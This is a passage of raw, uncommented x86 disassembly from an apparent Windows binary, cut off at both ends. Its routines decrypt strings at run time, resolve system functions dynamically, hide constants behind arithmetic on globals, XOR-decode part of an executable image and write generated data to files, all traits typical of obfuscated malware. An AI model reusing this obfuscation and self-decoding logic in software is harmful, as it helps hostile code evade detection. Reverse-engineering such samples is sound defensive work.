mov ds:dword_54CA70, eax push offset asc_55046B ; "\r" call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CA430, eax push offset word_55045A call sub_43AAF7 push eax call sub_43D730 mov ds:dword_447FC8, eax push offset word_550442 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4899F8, eax push offset asc_550434 ; "\n" call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54C960, eax push offset byte_550429 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_449094, eax push offset dword_550418 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_446038, eax push offset dword_550408 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_48A218, eax push offset word_5503F6 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54DF30, eax push offset asc_5503E7 ; "\v" call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CB948, eax push offset word_5503D6 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54C964, eax push offset dword_5503C4 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4495A8, eax push offset dword_5503B8 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_446000, eax push offset dword_5503A8 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_446044, eax push offset byte_550391 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4495B0, eax push offset byte_550377 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CC918, eax push offset word_550362 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_449088, eax push offset byte_550355 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54DF1C, eax push offset word_55033E call sub_43AAF7 push eax call sub_43D730 add esp, 188h mov ds:dword_4899F4, eax retn sub_43C7A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CBAF proc near ; CODE XREF: sub_441843+18Bp ; sub_441843+195p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax mov eax, dword_54F0C8 add eax, dword_54F140 sub eax, 2 push eax push dword_54F180 push [ebp+arg_0] movsx eax, word_54F0D0 add eax, dword_54F23C sub eax, 6 push eax mov eax, dword_54F1B0 sub eax, 7 push eax call ds:dword_54DF20 push eax call ds:dword_4CB948 leave retn sub_43CBAF endp ; =============== S U B R O U T I N E ======================================= sub_43CBF8 proc near ; CODE XREF: sub_444ED7+34p push edi push offset byte_55032F call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F280, eax mov eax, dword_54F1E4 sub eax, 4 cmp dword_54F280, eax jnz short loc_43CC37 push offset dword_550320 call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F280, eax loc_43CC37: ; CODE XREF: sub_43CBF8+26j push offset word_55030A call sub_43AAF7 pop ecx push eax push dword_54F280 call ds:dword_4491AC mov ds:dword_446028, eax pop edi retn sub_43CBF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CC56 proc near ; CODE XREF: sub_444ED7+2D3p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov eax, [ebp+arg_0] mov esi, [eax+3Ch] mov ecx, esi add ecx, eax mov eax, [ecx+28h] mov edx, [ebp+arg_0] lea esi, [eax+edx+0Dh] movzx eax, byte ptr [esi+1] mov edx, dword_54F134 add edx, 1FEh mov ebx, eax imul ebx, edx movzx eax, byte ptr [esi] xor eax, 4Dh mov [ebp+var_1], al mov ecx, dword_54F150 sub ecx, 2 jmp short loc_43CCA7 ; --------------------------------------------------------------------------- loc_43CC99: ; CODE XREF: sub_43CC56+53j movzx eax, byte ptr [esi+ecx] movzx edx, [ebp+var_1] xor eax, edx mov [esi+ecx], al inc ecx loc_43CCA7: ; CODE XREF: sub_43CC56+41j cmp ecx, ebx jb short loc_43CC99 mov eax, [ebp+arg_4] mov [eax], ebx mov eax, esi pop esi pop ebx leave retn sub_43CC56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CCB6 proc near ; CODE XREF: sub_441843+43p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push edi mov edi, [ebp+arg_0] push 104h lea eax, [ebp+var_108] push eax call ds:dword_4495B0 movsx eax, word_54F128 mov edx, dword_54F178 add edx, dword_54F0B0 sub edx, 0Eh mov byte ptr [ebp+eax+var_10C+2], dl push 104h lea eax, [ebp+var_108] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_10C] push eax push 104h lea eax, [ebp+var_108] push eax lea eax, [ebp+var_108] push eax call ds:dword_4CC900 push offset word_550302 call sub_43AAF7 push [ebp+var_10C] push eax push edi call ds:dword_50C928 add esp, 10h movsx eax, word_54F240 sub eax, 8 mov [ebp+var_4], eax jmp short loc_43CD7F ; --------------------------------------------------------------------------- loc_43CD50: ; CODE XREF: sub_43CCB6+D4j mov eax, [ebp+var_4] mov al, [edi+eax] cmp al, 41h jl short loc_43CD66 cmp al, 5Ah jg short loc_43CD66 mov eax, [ebp+var_4] add eax, edi add byte ptr [eax], 20h loc_43CD66: ; CODE XREF: sub_43CCB6+A2j ; sub_43CCB6+A6j mov eax, [ebp+var_4] mov al, [edi+eax] cmp al, 30h jl short loc_43CD7C cmp al, 39h jg short loc_43CD7C mov eax, [ebp+var_4] add eax, edi add byte ptr [eax], 31h loc_43CD7C: ; CODE XREF: sub_43CCB6+B8j ; sub_43CCB6+BCj inc [ebp+var_4] loc_43CD7F: ; CODE XREF: sub_43CCB6+98j mov eax, dword_54F170 add eax, 4 cmp [ebp+var_4], eax jb short loc_43CD50 pop edi leave retn sub_43CCB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CD8F proc near ; CODE XREF: sub_43F052+3DAp ; sub_43F052+438p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, esi xor eax, [ebp+arg_8] xor eax, [ebp+arg_C] mov edx, edi add edx, eax mov eax, edx add eax, [ebp+arg_10] mov edi, eax add edi, [ebp+arg_18] push [ebp+arg_14] push edi call sub_43D3EA add esp, 8 mov edi, eax add edi, esi mov eax, edi pop edi pop esi pop ebp retn sub_43CD8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_43CDC6 proc near ; DATA XREF: sub_441843+186o push ebp mov ebp, esp loc_43CDC9: ; CODE XREF: sub_43CDC6+2Dj call sub_43C114 mov eax, dword_54F1A0 add eax, dword_54F0E8 sub eax, 7 mov edx, dword_54F140 add edx, 0EA5Fh imul eax, edx push eax call ds:dword_50C924 pop ecx jmp short loc_43CDC9 sub_43CDC6 endp ; --------------------------------------------------------------------------- pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CDF9 proc near ; CODE XREF: sub_44050C+144p ; sub_441843+108p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, dword_54F248 mov esi, eax add esi, dword_54F188 sub esi, 9 jmp short loc_43CE49 ; --------------------------------------------------------------------------- loc_43CE14: ; CODE XREF: sub_43CDF9+53j call ds:dword_54E040 mov edi, dword_54F1A0 add edi, 53h movsx edx, word_54F1A4 add edi, edx mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx add edi, eax mov edx, edi mov [ebx+esi], dl inc esi loc_43CE49: ; CODE XREF: sub_43CDF9+19j cmp esi, [ebp+arg_4] jl short loc_43CE14 mov eax, [ebp+arg_4] mov edx, dword_54F230 add edx, dword_54F0EC sub edx, 2 mov [ebx+eax], dl mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_43CDF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CE6A proc near ; DATA XREF: sub_444ED7+1A5o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi mov eax, [ebp+arg_4] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4495C8 pop edi pop ebp retn 10h sub_43CE6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CE88 proc near ; DATA XREF: .data:0054F2C0o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_10] mov word ptr [ebp+arg_10], ax mov eax, dword_54F1DC add eax, 2 add eax, dword_54F1C8 cmp ds:dword_4495D0, eax jnb short loc_43CEBC mov eax, dword_54F1B4 sub eax, 4 mov ds:dword_4495D0, eax loc_43CEBC: ; CODE XREF: sub_43CE88+25j mov eax, dword_54F1C0 mov edi, eax add edi, dword_54F0E8 sub edi, 2 jmp short loc_43CEDA ; --------------------------------------------------------------------------- loc_43CECE: ; CODE XREF: sub_43CE88+64j lea ebx, ds:4480E0h[edi*4] cmp esi, ebx jz short loc_43CEEE inc edi loc_43CEDA: ; CODE XREF: sub_43CE88+44j mov eax, dword_54F1D4 add eax, 3DDh add eax, dword_54F158 cmp edi, eax jb short loc_43CECE loc_43CEEE: ; CODE XREF: sub_43CE88+4Fj movsx eax, word_54F138 movsx edx, word_54F164 lea eax, [eax+edx+3E4h] cmp edi, eax jnz short loc_43CF0E xor eax, eax jmp loc_43D089 ; --------------------------------------------------------------------------- loc_43CF0E: ; CODE XREF: sub_43CE88+7Dj movzx esi, ds:word_489A10[edi*2] mov ebx, dword_54F214 add ebx, dword_54F0E4 sub ebx, 7 cmp esi, ebx jnz short loc_43CF5F movzx eax, ds:byte_4491B0[edi] push eax push ds:dword_447020[edi*4] call sub_43EF1C add esp, 8 movsx esi, word_54F1F0 add esi, dword_54F0D8 sub esi, 0Ch mov ds:dword_4480E0[edi*4], esi xor eax, eax jmp loc_43D089 ; --------------------------------------------------------------------------- loc_43CF5F: ; CODE XREF: sub_43CE88+9Fj movzx esi, ds:word_489A10[edi*2] mov ebx, dword_54F1D0 add ebx, 0FFF4h add ebx, dword_54F1B4 cmp esi, ebx jnz loc_43D06A mov eax, dword_54F0E8 movsx edx, word_54F0CC add eax, edx sub eax, 2 mov [ebp+var_4], eax jmp loc_43D053 ; --------------------------------------------------------------------------- loc_43CF9A: ; CODE XREF: sub_43CE88+1D8j mov esi, [ebp+var_4] mov ebx, esi shl ebx, 2 mov edx, dword_54F1D8 add edx, dword_54F1D4 sub edx, 0Ch cmp ds:dword_4480E0[ebx], edx jz loc_43D050 movzx edx, ds:word_489A10[esi*2] mov ecx, dword_54F110 add ecx, 0FFF6h movsx eax, word_54F218 add ecx, eax cmp edx, ecx jz short loc_43D050 mov edx, ds:dword_447020[edi*4] cmp ds:dword_447020[ebx], edx jnz short loc_43D050 mov bl, ds:byte_4491B0[esi] cmp bl, ds:byte_4491B0[edi] jnz short loc_43D050 movzx esi, ds:word_489A10[esi*2] mov ebx, dword_54F184 sub ebx, 3 cmp esi, ebx jnz short loc_43D041 mov esi, [ebp+var_4] movzx ebx, ds:byte_4491B0[esi] push ebx push ds:dword_447020[esi*4] call sub_43EF1C add esp, 8 mov esi, dword_54F234 sub esi, 8 mov ds:dword_4480E0[edi*4], esi jmp short loc_43D066 ; --------------------------------------------------------------------------- loc_43D041: ; CODE XREF: sub_43CE88+18Aj mov esi, [ebp+var_4] lea esi, ds:489A10h[esi*2] dec word ptr [esi] jmp short loc_43D066 ; --------------------------------------------------------------------------- loc_43D050: ; CODE XREF: sub_43CE88+130j ; sub_43CE88+155j ... inc [ebp+var_4] loc_43D053: ; CODE XREF: sub_43CE88+10Dj mov eax, dword_54F170 add eax, 3E4h cmp [ebp+var_4], eax jb loc_43CF9A loc_43D066: ; CODE XREF: sub_43CE88+1B7j ; sub_43CE88+1C6j xor eax, eax jmp short loc_43D089 ; --------------------------------------------------------------------------- loc_43D06A: ; CODE XREF: sub_43CE88+F3j movzx esi, ds:word_489A10[edi*2] mov ebx, dword_54F248 sub ebx, 3 cmp esi, ebx jle short loc_43D087 dec ds:word_489A10[edi*2] loc_43D087: ; CODE XREF: sub_43CE88+1F5j xor eax, eax loc_43D089: ; CODE XREF: sub_43CE88+81j ; sub_43CE88+D2j ... pop edi pop esi pop ebx leave retn 24h sub_43CE88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D090 proc near ; CODE XREF: sub_43C284+26p ; sub_441843+230p ... var_120A = byte ptr -120Ah var_110B = byte ptr -110Bh var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 120Ch call sub_4455B4 push ebx push esi push edi push offset byte_54FEF3 call sub_43AAF7 push eax lea edi, [ebp+var_FFF] push edi call ds:dword_50C928 add esp, 0Ch mov eax, dword_54F154 mov esi, eax add esi, dword_54F1E0 sub esi, 0Ch jmp short loc_43D0ED ; --------------------------------------------------------------------------- loc_43D0CD: ; CODE XREF: sub_43D090+63j cmp [ebp+esi+var_FFF], 23h jnz short loc_43D0EC mov eax, dword_54F188 add eax, dword_54F12C sub eax, 0Dh mov [ebp+esi+var_FFF], al loc_43D0EC: ; CODE XREF: sub_43D090+45j inc esi loc_43D0ED: ; CODE XREF: sub_43D090+3Bj cmp esi, 0FFFh jb short loc_43D0CD movsx eax, word_54F244 mov ebx, eax add ebx, dword_54F12C sub ebx, 0Fh mov eax, dword_54F1F8 movsx edx, word_54F1A4 add eax, edx sub eax, 9 mov [ebp+var_1004], eax mov eax, dword_54F200 sub eax, 5 cmp [ebp+arg_0], eax jnz short loc_43D18A loc_43D12B: ; CODE XREF: sub_43D090+F8j mov eax, [ebp+arg_4] cmp [ebp+var_1004], eax jnz short loc_43D14D lea eax, [ebp+ebx+var_FFF] push eax push offset dword_54C970 call sub_4455D4 jmp loc_43D3E5 ; --------------------------------------------------------------------------- loc_43D14D: ; CODE XREF: sub_43D090+A4j lea ecx, [ebp+ebx+var_FFF] or eax, 0FFFFFFFFh loc_43D157: ; CODE XREF: sub_43D090+CCj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43D157 add ebx, eax add ebx, 1 inc [ebp+var_1004] movsx eax, [ebp+ebx+var_FFF] mov edx, dword_54F20C add edx, dword_54F1D8 sub edx, 8 cmp eax, edx jz loc_43D3E5 jmp short loc_43D12B ; --------------------------------------------------------------------------- loc_43D18A: ; CODE XREF: sub_43D090+99j movsx eax, word_54F244 mov ebx, eax add ebx, dword_54F15C sub ebx, 0Bh mov eax, dword_54F2A0 mov [ebp+var_1008], eax movsx eax, word_54F194 dec eax mov edx, [ebp+arg_0] movsx ecx, word_54F094 sub ecx, 2 mov [edx+eax], cl mov eax, dword_54F1B8 movsx edx, word_54F128 add eax, edx sub eax, 9 mov [ebp+var_1004], eax loc_43D1D6: ; CODE XREF: sub_43D090+32Dj call ds:dword_54E040 mov ecx, 14h cdq idiv ecx mov [ebp+var_100C], edx push offset dword_54FEE8 call sub_43AAF7 push eax lea edi, [ebp+var_110B] push edi call sub_4455D4 lea eax, [ebp+ebx+var_FFF] push eax lea eax, [ebp+var_110B] push eax call ds:dword_44602C add esp, 0Ch mov eax, dword_54F23C add eax, 2 cmp [ebp+var_100C], eax jnb loc_43D30B push [ebp+var_1008] lea eax, [ebp+var_120A] push eax call sub_443E8D movsx eax, word_54F144 sub eax, 3 push eax lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call sub_43DE22 add esp, 14h mov edi, dword_54F1D0 add edi, 0FFF4h add edi, dword_54F21C cmp eax, edi jnz short loc_43D299 lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call ds:dword_44602C push offset byte_54FEE3 call sub_43AAF7 push eax push [ebp+arg_0] call ds:dword_44602C add esp, 14h loc_43D299: ; CODE XREF: sub_43D090+1E0j mov eax, dword_54F17C sub eax, 6 push eax lea eax, [ebp+var_120A] push eax push [ebp+arg_0] call sub_43DE22 add esp, 0Ch mov edi, dword_54F18C add edi, 0FFFEh add edi, dword_54F23C cmp eax, edi jnz short loc_43D305 push offset dword_54FED8 call sub_43AAF7 push eax push [ebp+arg_0] call ds:dword_44602C lea eax, [ebp+var_120A] push eax push [ebp+arg_0] call ds:dword_44602C push offset byte_54FED3 call sub_43AAF7 push eax push [ebp+arg_0] call ds:dword_44602C add esp, 20h loc_43D305: ; CODE XREF: sub_43D090+238j inc [ebp+var_1008] loc_43D30B: ; CODE XREF: sub_43D090+197j push [ebp+var_1004] call sub_43D7FF pop ecx mov [ebp+var_100C], eax movsx ecx, word_54F128 add ecx, dword_54F184 sub ecx, 7 cmp eax, ecx jnb short loc_43D385 movsx eax, word_54F0D0 sub eax, 5 push eax lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call sub_43DE22 add esp, 0Ch mov edi, dword_54F0DC add edi, 0FFFBh cmp eax, edi jnz short loc_43D385 lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call ds:dword_44602C push offset word_54FECE call sub_43AAF7 push eax push [ebp+arg_0] call ds:dword_44602C add esp, 14h loc_43D385: ; CODE XREF: sub_43D090+29Fj ; sub_43D090+2CCj lea ecx, [ebp+ebx+var_FFF] or eax, 0FFFFFFFFh loc_43D38F: ; CODE XREF: sub_43D090+304j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43D38F add ebx, eax inc [ebp+var_1004] add ebx, 1 movsx eax, [ebp+ebx+var_FFF] mov edx, dword_54F11C movsx ecx, word_54F240 add edx, ecx sub edx, 0Ah cmp eax, edx jnz loc_43D1D6 push offset byte_54FEC9 call sub_43AAF7 push eax push [ebp+arg_0] call ds:dword_44602C add esp, 0Ch mov eax, [ebp+var_1008] mov dword_54F2A0, eax loc_43D3E5: ; CODE XREF: sub_43D090+B8j ; sub_43D090+F2j pop edi pop esi pop ebx leave retn sub_43D090 endp ; =============== S U B R O U T I N E ======================================= sub_43D3EA proc near ; CODE XREF: sub_43B370+2Bp ; sub_43BA46+2Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov esi, [esp+0Ch+arg_0] mov edi, [esp+0Ch+arg_4] mov ecx, edi mov ebx, esi shl ebx, cl mov edx, dword_54F174 add edx, 11h add edx, dword_54F108 mov ecx, edx sub ecx, edi mov eax, esi shr eax, cl or ebx, eax mov eax, ebx pop edi pop esi pop ebx retn sub_43D3EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D41A proc near ; DATA XREF: sub_4404CE+1Do ; sub_441843+48o ... var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 124h push ebx push esi push edi push 61A80h push 40h call ds:dword_4899EC mov ebx, eax push 493E0h push 40h call ds:dword_4899EC mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 2 push eax push [ebp+var_4] call sub_4455D4 mov eax, [ebp+var_4] mov ecx, eax or eax, 0FFFFFFFFh loc_43D45C: ; CODE XREF: sub_43D41A+47j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43D45C mov [ebp+var_8], eax mov edi, dword_54F1D0 sub edi, 7 jmp short loc_43D4AC ; --------------------------------------------------------------------------- loc_43D471: ; CODE XREF: sub_43D41A+95j mov eax, edi add eax, [ebp+var_4] mov [ebp+var_118], eax movzx edx, byte ptr [eax] mov [ebp+var_120], edx mov eax, edi mov [ebp+var_11C], eax mul edi mov [ebp+var_124], eax mov eax, [ebp+var_120] mov edx, [ebp+var_124] add eax, edx mov edx, [ebp+var_118] mov [edx], al inc edi loc_43D4AC: ; CODE XREF: sub_43D41A+55j cmp edi, [ebp+var_8] jb short loc_43D471 movsx eax, word_54F13C movsx edx, word_54F148 lea eax, [eax+edx+61A76h] push eax push ebx push [ebp+var_8] push [ebp+var_4] call sub_440E73 add esp, 10h mov esi, dword_54F090 sub esi, 4 jmp short loc_43D4F6 ; --------------------------------------------------------------------------- loc_43D4E1: ; CODE XREF: sub_43D41A+EAj cmp byte ptr [ebx+esi], 3Dh jnz short loc_43D4EB mov byte ptr [ebx+esi], 29h loc_43D4EB: ; CODE XREF: sub_43D41A+CBj cmp byte ptr [ebx+esi], 2Bh jnz short loc_43D4F5 mov byte ptr [ebx+esi], 28h loc_43D4F5: ; CODE XREF: sub_43D41A+D5j inc esi loc_43D4F6: ; CODE XREF: sub_43D41A+C5j mov ecx, ebx or eax, 0FFFFFFFFh loc_43D4FB: ; CODE XREF: sub_43D41A+E6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43D4FB cmp esi, eax jb short loc_43D4E1 movsx eax, word_54F198 add eax, dword_54F090 sub eax, 5 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 4Bh jnz short loc_43D530 push offset dword_4490A0 lea eax, [ebp+var_114] push eax call sub_4455D4 loc_43D530: ; CODE XREF: sub_43D41A+103j movsx eax, word_54F1F0 sub eax, 6 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 44h jnz short loc_43D554 push offset dword_4CA440 lea eax, [ebp+var_114] push eax call sub_4455D4 loc_43D554: ; CODE XREF: sub_43D41A+127j movsx eax, word_54F240 sub eax, 8 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 50h jnz short loc_43D599 push offset dword_4CB830 lea eax, [ebp+var_114] push eax call sub_4455D4 mov eax, dword_54F228 sub eax, 7 push eax push ebx lea eax, [ebp+var_114] push eax call sub_43FBFD add esp, 0Ch or eax, eax jnz loc_43D71B loc_43D599: ; CODE XREF: sub_43D41A+14Bj mov eax, dword_54F090 add eax, dword_54F0D4 sub eax, 9 push eax mov eax, dword_54F0BC movsx edx, word_54F118 add eax, edx sub eax, 8 push eax push 4 mov eax, dword_54F22C sub eax, 7 push eax movsx eax, word_54F1F0 sub eax, 6 push eax push 40000000h lea eax, [ebp+var_114] push eax call ds:dword_54DB18 mov [ebp+var_C], eax push 2 mov eax, dword_54F090 sub eax, 4 push eax movsx eax, word_54F138 movsx edx, word_54F0D0 add eax, edx sub eax, 9 push eax push [ebp+var_C] call ds:dword_54DF30 push offset byte_54FEC1 call sub_43AAF7 pop ecx movsx edx, word_54F218 push edx lea edx, [ebp+var_10] push edx mov edx, dword_54F24C movsx ecx, word_54F13C add edx, ecx sub edx, 0Eh push edx push eax push [ebp+var_C] call ds:dword_54DF1C mov eax, dword_54F14C movsx edx, word_54F1A8 add eax, edx sub eax, 2 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 4Bh jnz short loc_43D68D push offset dword_54FEBC call sub_43AAF7 pop ecx movsx edx, word_54F148 dec edx push edx lea edx, [ebp+var_10] push edx mov edx, dword_54F248 add edx, dword_54F224 sub edx, 4 push edx push eax push [ebp+var_C] call ds:dword_54DF1C loc_43D68D: ; CODE XREF: sub_43D41A+23Fj mov eax, dword_54F110 sub eax, 9 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 50h jnz short loc_43D6DA push offset byte_54FEB7 call sub_43AAF7 pop ecx mov edx, dword_54F1C0 movsx ecx, word_54F0FC add edx, ecx sub edx, 3 push edx lea edx, [ebp+var_10] push edx mov edx, dword_54F0E8 movsx ecx, word_54F104 add edx, ecx push edx push eax push [ebp+var_C] call ds:dword_54DF1C loc_43D6DA: ; CODE XREF: sub_43D41A+282j mov ecx, ebx or eax, 0FFFFFFFFh loc_43D6DF: ; CODE XREF: sub_43D41A+2CAj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43D6DF mov ecx, dword_54F154 add ecx, dword_54F204 sub ecx, 0Ah push ecx lea ecx, [ebp+var_10] push ecx mov ecx, dword_54F1F8 sub ecx, 2 mov edx, eax add edx, ecx push edx push ebx push [ebp+var_C] call ds:dword_54DF1C push [ebp+var_C] call ds:dword_4CB948 loc_43D71B: ; CODE XREF: sub_43D41A+179j push [ebp+var_4] call ds:dword_4495CC push ebx call ds:dword_4495CC pop edi pop esi pop ebx leave retn sub_43D41A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D730 proc near ; CODE XREF: sub_43C7A3+Bp ; sub_43C7A3+20p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_54F254 call ds:dword_4491AC mov edi, eax pop edi pop ebp retn sub_43D730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D748 proc near ; CODE XREF: sub_43C652+10Ap ; sub_441B74+182p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push eax push ebx push esi push edi movsx eax, word_54F0B4 movsx edx, word_54F1A8 mov esi, eax add esi, edx sub esi, 5 lea eax, [ebp+var_4] push eax push offset dword_550A08 mov eax, [ebp+arg_0] push eax mov ebx, [eax] call dword ptr ds:0[ebx] mov edi, eax mov eax, dword_54F114 add eax, dword_54F1D8 sub eax, 5 cmp edi, eax jz short loc_43D793 xor eax, eax jmp short loc_43D7FA ; --------------------------------------------------------------------------- loc_43D793: ; CODE XREF: sub_43D748+45j lea eax, [ebp+var_8] push eax push [ebp+arg_8] mov eax, [ebp+var_4] push eax mov ebx, [eax] call dword ptr [ebx+10h] mov edi, eax mov eax, dword_54F090 add eax, dword_54F108 sub eax, 0Ch cmp edi, eax jnz short loc_43D7EF push [ebp+arg_C] push [ebp+arg_4] mov eax, [ebp+var_8] push eax mov ebx, [eax] call dword ptr [ebx+14h] mov edi, eax mov eax, dword_54F224 movsx edx, word_54F094 add eax, edx sub eax, 3 cmp edi, eax jnz short loc_43D7E6 mov esi, dword_54F0F0 sub esi, 2 loc_43D7E6: ; CODE XREF: sub_43D748+93j mov eax, [ebp+var_8] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43D7EF: ; CODE XREF: sub_43D748+6Dj mov eax, [ebp+var_4] push eax mov ebx, [eax] call dword ptr [ebx+8] mov eax, esi loc_43D7FA: ; CODE XREF: sub_43D748+49j pop edi pop esi pop ebx leave retn sub_43D748 endp ; =============== S U B R O U T I N E ======================================= sub_43D7FF proc near ; CODE XREF: sub_43D090+281p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov ecx, esi movsx eax, word_54F0A8 add eax, dword_54F0A4 cmp ecx, eax jge short loc_43D84C movsx eax, word_54F0A8 add eax, dword_54F154 sub eax, 3 imul ecx, eax mov eax, dword_54F0D8 sub eax, 5 mov edx, esi add edx, eax mov eax, dword_54F0A0 add eax, dword_54F11C dec eax imul edx, eax sub ecx, edx jmp loc_43D98A ; --------------------------------------------------------------------------- loc_43D84C: ; CODE XREF: sub_43D7FF+16j dec ecx movsx eax, word_54F210 add eax, 0Fh cmp ecx, eax jge short loc_43D87C mov eax, dword_54F234 sub eax, 6 imul ecx, eax mov eax, ecx sub eax, esi mov edx, dword_54F1AC add edx, 0Bh mov ecx, eax sub ecx, edx jmp loc_43D98A ; --------------------------------------------------------------------------- loc_43D87C: ; CODE XREF: sub_43D7FF+5Aj dec ecx movsx eax, word_54F1F0 mov edx, dword_54F1C8 lea eax, [eax+edx+14h] cmp ecx, eax jge short loc_43D8BA movsx eax, word_54F194 add eax, dword_54F1F4 sub eax, 7 imul ecx, eax mov eax, dword_54F238 add eax, 3Ah add eax, dword_54F1A0 sub ecx, eax jmp loc_43D98A ; --------------------------------------------------------------------------- loc_43D8BA: ; CODE XREF: sub_43D7FF+91j dec ecx mov eax, dword_54F10C add eax, 22h cmp ecx, eax jge short loc_43D8E9 movsx eax, word_54F208 add eax, dword_54F150 sub eax, 3 imul ecx, eax mov eax, dword_54F188 add eax, 41h sub ecx, eax jmp loc_43D98A ; --------------------------------------------------------------------------- loc_43D8E9: ; CODE XREF: sub_43D7FF+C6j dec ecx mov eax, dword_54F180 add eax, 2Bh movsx edx, word_54F194 add eax, edx cmp ecx, eax jge short loc_43D918 movsx eax, word_54F1CC sub eax, 7 imul ecx, eax mov eax, dword_54F158 add eax, 51h sub ecx, eax jmp short loc_43D98A ; --------------------------------------------------------------------------- loc_43D918: ; CODE XREF: sub_43D7FF+FEj dec ecx movsx eax, word_54F0F4 mov edx, dword_54F178 lea eax, [eax+edx+2Bh] cmp ecx, eax jge short loc_43D950 movsx eax, word_54F148 movsx edx, word_54F138 add eax, edx sub eax, 2 imul ecx, eax mov eax, dword_54F168 add eax, 68h sub ecx, eax jmp short loc_43D98A ; --------------------------------------------------------------------------- loc_43D950: ; CODE XREF: sub_43D7FF+12Dj dec ecx mov eax, dword_54F170 add eax, 35h cmp ecx, eax jge short loc_43D980 mov eax, dword_54F130 add eax, dword_54F160 sub eax, 6 imul ecx, eax mov eax, dword_54F1D0 add eax, 68h add eax, dword_54F130 sub ecx, eax jmp short loc_43D98A ; --------------------------------------------------------------------------- loc_43D980: ; CODE XREF: sub_43D7FF+15Cj mov eax, dword_54F1EC add eax, 36h sub ecx, eax loc_43D98A: ; CODE XREF: sub_43D7FF+48j ; sub_43D7FF+78j ... mov eax, ecx pop esi retn sub_43D7FF endp ; =============== S U B R 